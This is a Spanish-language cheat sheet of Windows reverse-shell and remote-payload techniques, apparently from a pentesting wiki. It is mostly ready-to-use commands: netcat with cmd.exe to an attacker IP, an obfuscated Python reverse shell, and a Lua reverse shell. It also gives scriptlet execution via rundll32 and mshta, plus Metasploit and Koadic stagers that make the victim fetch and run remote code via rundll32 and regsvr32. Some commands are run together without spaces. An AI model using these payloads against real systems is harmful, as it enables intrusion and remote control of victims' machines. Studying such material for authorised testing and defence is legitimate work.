La página lolbas-project.github.io es para Windows como https://gtfobins.github.io/ lo es para Linux.
Obviamente, no hay archivos SUID ni privilegios de sudo en Windows, pero es útil saber cómo algunos binarios pueden ser (mal)utilizados para realizar algún tipo de acciones inesperadas como ejecutar código arbitrario.
NC
nc.exe-ecmd.exe<Attacker_IP><PORT>
SBD
sbd es una alternativa portátil y segura a Netcat. Funciona en sistemas tipo Unix y Win32. Con características como encriptación sólida, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd ofrece una solución versátil para la comunicación TCP/IP. Para usuarios de Windows, la versión sbd.exe de la distribución Kali Linux puede ser utilizada como un reemplazo confiable para Netcat.
#WindowsC:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Lua es un lenguaje de programación ligero y de alto nivel. Es ampliamente utilizado en la creación de scripts y en el desarrollo de aplicaciones. Lua es conocido por ser rápido, eficiente y fácil de integrar con otros lenguajes de programación.
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
OpenSSH
Atacante (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
<?XML version="1.0"?><!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) --><scriptlet><public></public><scriptlanguage="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe");]]></script></scriptlet>
Rundll32 - Metasploit
usewindows/smb/smb_deliveryrun#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
Rundll32 - Koadic
usestager/js/rundll32_jssetSRVHOST192.168.1.107setENDPOINTsalesrun#Koadic will tell you what you need to execute inside the victim, it will be something like:rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
usemulti/script/web_deliverysettarget3setpayloadwindows/meterpreter/reverse/tcpsetlhost10.2.0.5run#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
Puedes descargar y ejecutar fácilmente un zombie de Koadic usando el stager regsvr
En la carpeta Shells, hay una gran cantidad de shells diferentes. Para descargar y ejecutar Invoke-PowerShellTcp.ps1 haz una copia del script y añade al final del archivo: